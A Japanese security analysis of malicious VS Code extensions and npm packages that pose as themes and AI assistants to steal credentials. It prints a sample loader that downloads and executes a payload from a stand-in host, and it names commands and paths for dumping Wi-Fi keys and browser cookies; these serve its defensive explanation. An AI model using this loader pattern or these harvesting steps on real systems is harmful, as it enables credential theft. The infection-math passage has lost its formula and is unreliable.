あなたはあなたのツールを信頼しています。これは開発者の暗黙のルールの最初のルールです。npm installでライブラリをインストールするか、VS Codeで洗練された新しいダークモードテーマをクリックして「インストール」する際、トロイの木馬を期待していません。より良い構文強調表示を期待しています。生産性の向上を期待しています。
しかし、新しい大規模なサプライチェーン攻撃の波があなたの信頼を打ち砕き、あなた自身の開発環境をサイバー犯罪者のリスニングポストに変えてしまいました。
Check Point、Phylum、および他のセキュリティ企業の研究者たちは、現代的な開発スタックの中核を狙った洗練された協調的なキャンペーンを発見しました:VS Code、npm、Go、Rust。これはバグのあるコード、クリプトマイナー、または迷惑なアドウェアに関するものではありません。これらは、プレミアムテーマ(「Bitcoin Black」など)および最先端のAIアシスタント(「Codo AI」や「Chengdu AI」など)に偽装した精密に設計された「InfoStealers」です。
そして、彼らはあなたのコードを盗んでいるだけではなく、あなたのWi-Fiパスワード、SSHキー、ブラウザクッキー、そして活動中のデスクトップの異なるスクリーンショットまで盗んでいます。
この詳細な分析は、これらの拡張機能がどのように機能するか、「Imposter」攻撃のメカニズム、この急増を推進する経済学、および「検証済み」バッジがあなたを救うのに十分でない理由を正確に解説します。
転機:なぜこれが今重要なのか
何年も前から、「Supply Chain Attack」という用語はSolarWindsの侵害のイメージを呼び起こしました。数千の政府機関に波及する構築サーバーの高レベルな国家資本による侵害です。平均的なフロントエンド開発者やデータサイエンティストにとっては、遠く、ほぼ抽象的に感じられました。
この新しい波は個人的なものです。ローカルマシン上の個々の開発者を対象としており、信頼されたプロトコルの背中に乗ることで、企業のファイアウォールを完全にバイパスすることがよくあります。
「Bitcoin Black」拡張機能は、暗号トレーダーのための洗練されたダークテーマを約束しており、何千回もダウンロードされました。同様に、「Codo AI」はChatGPTとDeepSeekのハイプに乗り、統合されたAIアシスタントを約束しました。あなたのコードを助けるのではなく、DLLベースの情報盗聴器をしっかりと展開していました。
怖い部分は?**それは機能しました。**これらのツールはあなたのIDE内に存在するため、開発環境の高レベルの権限を継承します。難読化されたコードの分析により、環境変数(AWSキーを保管している場所)を収集し、シェルコマンドを実行するpostinstallスクリプトが明らかになりました。
「攻撃者はもはや前のドアを壊しているだけではなく、あなたが内部に持ち込む家具として自分たちを偽装しています。」
技術的深掘り:攻撃の解剖
「テーマ」がどのように、16進数コードのJSONファイルであるべき、Wi-Fiパスワードを盗むのでしょうか?メカニズムは驚くほど洗練されており、VS Code拡張機能アーキテクチャの深い理解を示しています。
1. 「Imposter」メカニズム
- Typosquatting:
prettier-vscode-plusは、一般的なPrettier formatterの正当な「Plus」バージョンのように聞こえます。それはそうではありませんでした。それは「OctoRAT」マルウェアの乗り物でした。 - Trend Jacking:「Bitcoin Black」は開発者と暗号愛好家の重複を対象としました。「Codo AI」はAIブームを対象としました。
彼らはREADMEを磨き、偽の「検証済み」バッジ(説明内のPNG)を追加し、ボットネットワークを使用してダウンロード数を人工的に増やして正当に見えるようにします。VS Code Marketplaceでは、社会的証拠はほとんどのユーザーにとって主要なセキュリティメカニズムであり、簡単に偽造されます。
2. ペイロード配信(DLLドロップ)
インストール後、テーマは技術的に主にJSONファイルで構成されており、色を定義します。ただし、VS Code拡張機能は実行可能コードとアクティベーションイベントもバンドルできます。
Bitcoin Blackの場合、拡張機能には色を適用しただけではないファイルextension.jsが含まれていました。
- Trigger:アクティベーション時(またはVS Code起動時)、JavaScriptが実行されます。
- Fetcher:Command & Control(C2)サーバーに到達し、通常は侵害された正当なドメインまたは安いVPSでホストされ、良性のテレメトリチェックを装います。調査により、以前Lazarus Groupにリンクされていた既知のコマンドアンドコントロールサーバーへの接続が明らかになりました。
- Drop:セカンダリペイロードをダウンロードします。多くの場合、コンパイルされたPE(Portable Executable)またはDLLファイルです。「Anivia」キャンペーンでは、これはOctoRATでした。
以下は、別の有効なextension.js内の悪意のあるローダーコードがどのようにシンプルに見えるかの概念的な例です:
// Looks like telemetry
const telemetry = require('./telemetry-utils');
function activate(context) {
// legitimate theme activation code...
// The malicious payload
// obfuscated to look like analytics
const u = "https://cdn-stats-track.com/update/v2/payload";
telemetry.checkUpdate(u).then(payload => {
// execute the downloaded buffer
require('child_process').exec(payload);
});
}
telemetry-utilsモジュールは、バイナリをフェッチして実行するロジックを含み、疑いを避けるために%TEMP%\vscode-updater.exeなどの一時ディレクトリに保存されることがよくあります。
3. Exfiltration:「奪取と脱出」
マルウェアはVS Code内に留まりません。ホストのシステムリソースを使用してデータを収集します。
- Wi-Fi認証情報:
netsh wlan show profile name="[SSID]" key=clearを実行することで(Windows上)、プレーンテキストWi-Fiパスワードを取得します。これにより、攻撃者はローカルの場合はネットワークを物理的に侵害したり、企業ネットワーク認証情報をマッピングしたりできます。 - ブラウザセッションハイジャック:
AppData/Local/Google/Chrome/User Dataディレクトリをスキャンして、クッキーと保存されたパスワードを含むSQLiteデータベースをコピーします。これにより、攻撃者はセッションクッキーを再利用して2FAをバイパスできます。 - スクリーンショット:Windows APIコール
BitBltまたは同様を使用して、画面をキャプチャします。開発者はしばしば他のウィンドウ(Postman、Notion、1Password)に見える秘密を持っているため、これは壊滅的です。 - クリップボードハイジャック:暗号ウォレットアドレスやAPIキーのような文字列のクリップボードを監視し、それらをスワップまたはログします。
4. コードブロック:感染の数学
サプライチェーン内の感染の確率は、依存関係の数と信頼要因(0は盲信)で指数関数的に増加します。
はパッケージあたりのリスクです。(依存関係の数)が増加するにつれて、は1に近づきます。
50の拡張機能とnode_modulesに1000のnpmパッケージを持つシニア開発者の場合、攻撃対象領域は膨大です。
文脈的歴史:怠慢のパターン
これが最初ではありません。パッケージマネージャーの歴史は破られた信頼の歴史です。
2018年:event-streamインシデント
広く使用されているnpmパッケージevent-streamは、その元の著者(燃え尽きていた)から「Right9delta」という名前の新しいボランティアメンテナーに引き継がれました。この新しいメンテナーは最初は役に立ちました。その後、彼らは暗号化されたコードを含むflatmap-streamという依存関係を挿入しました。このコードは、Copay(Bitcoin wallet app)のビルドプロセスを具体的に対象として、秘密鍵を盗みました。これは「忍耐」攻撃でした。信頼されるまで待ってから、ストライクしてください。
2020年:SolarWinds
「サプライチェーン攻撃の祖父」。攻撃者はビルドシステム自体を侵害しました。これは国家資本による高レベルなものでしたが、井戸に毒をやることができれば(コードソース)、村全体に毒をやることができることを証明しました(それを使用する誰もが)。
2024年:XZ Utilsバックドア
今年、XZ Utilsバックドアは、メンテナーが年間かけて信頼を構築してから、コアLinux圧縮ライブラリに洗練されたバックドアを挿入する方法を示しました。VS Code攻撃は、これの「ファーストフード」バージョンです。速い、汚い、そして広く配布されています。
「Lazarus」シフト
国家資本によるアクター(Lazarus Groupなど)は銀行を奪うことから開発者を奪うことにシフトしました。なぜ?開発者は銀行への鍵を持っているからです。彼らはインターネット経済の「ミドルウェア」を対象としています。
VS Code Marketplaceは常に「Wild West」でした。Apple App Storeとは異なり、最小限の人間によるレビューがあります。自動スキャナーは既知のウイルス署名をチェックしますが、カスタム作成された難読化JSスクリプトはしばしば論理チェックをスルーしてしまいます。
経済的現実
ハッカーがdevを対象とするのはなぜですか?ROI(Return on Investment)。
銀行従業員に対する標的型フィッシングキャンペーンは時間、お金、および洗練されたソーシャルエンジニアリングのコストがかかります。偽の「AI Helper」拡張機能をアップロードするのに$0がかかります。
5,000人の開発者がそれをインストールした場合:
- 10%はFortune 500企業で働いているかもしれません。
- 1%は
.envファイルにAWSルートキーを持っているかもしれません。 - それは偽のREADMEの価格で50の「Golden Keys」です。
利点は膨大です。攻撃者の「Cost of Goods Sold」はほぼゼロです。一方、アクセスの販売(Initial Access Brokers)またはランサムウェアのデプロイからの潜在的な収益は数百万です。単一の有効なエンタープライズAWSルートキーは、クォータ制限に応じて、ダークウェブマーケットで$5,000から$50,000で販売できます。
前向きな分析:「Zero Trust」IDE
業界はブレークポイントに到達しています。市場データは2026年の3つの主要なシフトを示唆しています:
- 「オープン」Marketplaceの終わり:MicrosoftとGitHubは、「App Store」スタイルのレビュープロセスを実装することを余儀なくされるでしょう。
- サンドボックス化された拡張機能:現在、拡張機能はあなたのユーザー権限で実行されます。VS Codeの将来のバージョンでは、拡張機能がWASM sandboxで実行される必要があり、デフォルトではファイルシステムへのアクセスはありません。モバイルアプリがカメラへのアクセスを許可するのと同じように、拡張機能に
/srcフォルダを読み取る権限を明示的に付与する必要があります。 - エンタープライズ「許可リスト」:企業は開発者が必要なものをインストールするのを止めます。内部Marketplaceが台頭し、検証済みの拡張機能のみが利用可能になります。
今日あなたがしなければならないこと
Microsoftを待つことはできません。
- 拡張機能を監査する:拡張機能タブに移動します。毎日使用していない場合は、アンインストールしてください。
- 出版社を確認:出版社名をクリックしてください。Webサイトはありますか?GitHubレポはありますか?ジェネリック名または新しいアカウントの場合、インストールしないでください。
- スキャナを使用:SocketおよびSnykなどのツールは、npmパッケージだけでなく、IDE拡張機能のスキャンを開始しています。使用してください。
- ネットワークフィルタリング:Little Snitch(Macの場合)などのツールを使用して、VS Codeが接続している場所を監視します。「テーマ」が非標準地域のサーバーと通信している場合、ブロックしてください。
評決:「Trojan Theme」時代はここにあります。あなたのIDEはもはや聖域ではなく、戦場です。それに応じてコードしてください。
出典 (3)
- thehackernews.com Researchers Find Malicious VS Code, Go, NPM Packages
- infosecurity-magazine.com Malicious VS Code Extensions Found Stealing Data
- hunt.io The Anivia/OctoRAT Attack Chain
🦋 Bluesky での議論
Bluesky で議論する